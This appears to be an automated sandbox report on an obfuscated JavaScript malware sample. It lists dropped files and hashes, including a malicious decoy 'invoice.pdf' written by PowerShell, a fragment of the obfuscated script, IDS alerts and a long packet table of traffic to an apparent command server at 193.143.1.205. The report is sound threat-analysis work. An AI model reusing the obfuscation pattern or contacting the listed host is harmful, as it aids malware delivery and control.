SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18213), with CRLF line terminators
Entropy (8bit):	4.912776763092184
TrID:
File name:	1026278051441931198.js
File size:	21'736 bytes
MD5:	e1bf143b521d821c85fddb7b1ce6c454
SHA1:	2978cc935c1902449858fd4bde55a758fb1bbf34
SHA256:	95132f4194e70d06065603047420c0b33395c330b2ba7f91aa21036604d3c575
SHA512:	3687f12e8c71017265092652558a628c43e654ce6fb24b1f828f8922f42f7307613131a506c4dfedb2e5c1458c61ea47b6674d989ddf76c0dce8eef119c6c400
SSDEEP:	192:J3CZU31ZnyZu/Z4mFNbWSmpapoJu6O4oucLkVxsZXkuD7Yr8YAwmEx46s:z5XDqptJuT4oviXm5f
TLSH:	F4A25444C113CA16CAED2EB1C5CB31922708B1DDC61660BFEF772658788DDA0A0E79F6
File Content Preview:	function ywocznvr(){tbijkvu=[1031,3079,5127,4103,2055,3072];var adhvri=this[anibp+xipjvkz+fxszuylh+jhrlf+xsfctlsv+oodvzlgmz+mfisyt+bnncoxxpb](this[rdikml+mdgenyu+ssvcsn+fxszuylh+aijvonneu+anibp+bnncoxxpb][nolvj+fxszuylh+xsfctlsv+xipjvkz+bnncoxxpb+xsfctlsv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:33:58.967417+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T21:34:01.937903+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:33:58.162827015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:58.167824984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.167929888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:58.170907021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:58.175730944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967295885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967329025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967343092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967355013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967377901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967390060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967402935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967413902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967417002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:58.967427969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967442036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:58.967583895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:58.967583895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:58.972359896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.013351917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.013381004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.013578892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.092941046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.093061924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.093072891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.093085051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.093096972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.093108892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.093200922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.093322992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.094053984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.094072104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.094084978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.094096899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.094110012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.094134092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.094166040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.094203949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.094841003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.094852924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.094865084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.094892979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.094968081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.094979048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.095007896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.095752954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.095765114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.095776081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.095801115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.095818043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.138796091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.138814926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.138983965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.145893097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.145905972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.145951986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.146029949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.146039009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.146076918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.179554939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.179567099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.179795980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.218684912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.218702078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.218720913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.218735933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.218745947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.218760967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219011068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.219134092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219144106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219187021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.219250917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219304085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219322920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219340086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.219593048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219626904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219635010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.219639063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219651937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.219676971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.220072985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.220084906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.220096111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.220117092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.220118999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.220129967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.220143080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.220150948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.220156908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.220170975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.220192909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.221087933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.221100092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.221112013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.221123934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.221132040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.221136093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.221151114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.221163988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.221168995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.221204996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.221965075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.222011089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.222045898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.222057104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.222069025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.222080946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.222091913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.222095966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.222105026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.222112894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.222138882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.222995043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.223012924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.223026037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.223037958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.223048925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.223057985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.223081112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.225533962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.225545883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.225585938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.275784969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.275854111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.275866032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.275877953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.275890112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.275902033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.275906086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.275913954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.275929928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.275935888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.275944948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.275984049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.305514097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.305531025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.305588961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.344090939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344109058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344120979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344149113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.344166994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344178915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344191074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344208002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.344223976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.344358921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344368935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344403982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.344460011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344471931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344484091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344496012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344510078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.344528913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.344692945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344779015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344789982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344800949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344811916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344824076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.344825983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.344851017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.344866037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.345144033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.345218897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.345228910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.345240116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.345257044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.345262051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.345271111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.345274925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.345288992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.345307112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.345318079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.345321894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.345345974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.346097946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346110106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346120119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346133947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346137047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.346147060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346152067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.346159935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346174002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346184969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346196890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346201897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.346210003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346223116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346230030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.346236944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346256971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.346272945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.346864939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346905947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.346937895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346950054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346961021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346980095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.346980095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.346992970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347004890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347024918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347029924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.347037077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347048998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347057104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.347060919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347074986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347086906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.347110987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.347934961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347946882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347959042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347970963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.347975969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.347990990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348000050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.348002911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348016024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348026037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.348028898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348042011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348052979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348058939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.348066092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348078966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348083019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.348099947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.348494053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.348851919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348870039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348882914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.348898888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.348923922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.351586103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351695061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351707935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351725101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351736069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351742983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.351748943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351762056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351772070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.351773977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351794004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.351814985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.351950884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351963043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351974010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351985931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.351994991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.351999044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.352020025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.353142023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.353198051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.360836983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:33:59.390063047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.390074968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:33:59.390116930 CET	49704	80	192.168.2.5	193.143.1.205
